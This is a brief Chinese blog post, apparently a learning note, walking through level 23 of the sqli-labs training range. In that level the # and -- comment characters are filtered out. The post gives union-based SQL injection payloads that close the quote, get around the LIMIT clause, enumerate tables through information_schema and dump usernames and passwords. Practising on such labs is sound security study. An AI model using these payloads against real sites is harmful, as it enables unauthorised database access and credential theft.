Loading

sqli-labs靶场第23关(学习记录)

第23关

考察点:对注释符的过滤

看一下代码

发现是对注释符 # 和 -- 的过滤,当我们传入内容包含注释符时,对应的注释符就被换成了 " ",因此注释就无效了

?id=-1' union select 1,database(),3 '
3后面的' 是为了闭合id后面的' 

下面就是 常规的爆数据了,需要注意的是

//$sql="SELECT * FROM users WHERE id='-1'union select 1,2,database()#' LIMIT 0,1";
注意 此时 limit 并没有被注释掉 

如果直接使用 ?id=-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database(),3' 那么就会报错 因为 有 limit的限制,可以参考下面语句

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3'
?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) '

 

posted @ 2022-12-07 22:43  Forever_wlwl  阅读(77)  评论(0编辑  收藏  举报